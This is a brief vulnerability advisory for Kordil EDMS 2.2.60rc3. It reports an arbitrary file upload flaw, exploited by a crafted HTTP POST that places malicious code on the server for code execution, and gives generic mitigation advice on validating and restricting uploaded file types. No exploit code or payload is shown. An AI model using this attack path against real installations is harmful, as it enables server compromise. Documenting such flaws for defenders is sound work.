Kordil EDMS 2.2.60rc3 – Arbitrary File Upload

Kordil EDMS 2.2.60rc3 is vulnerable to an arbitrary file upload vulnerability. An attacker can exploit this vulnerability by sending a specially crafted HTTP POST request to the vulnerable application. This request contains malicious code in the form of a file which is uploaded to the server. This can be used to gain access to the server and execute arbitrary code.

Mitigation:

The application should validate the file type and size before uploading it to the server. The application should also restrict the file types that can be uploaded to the server.
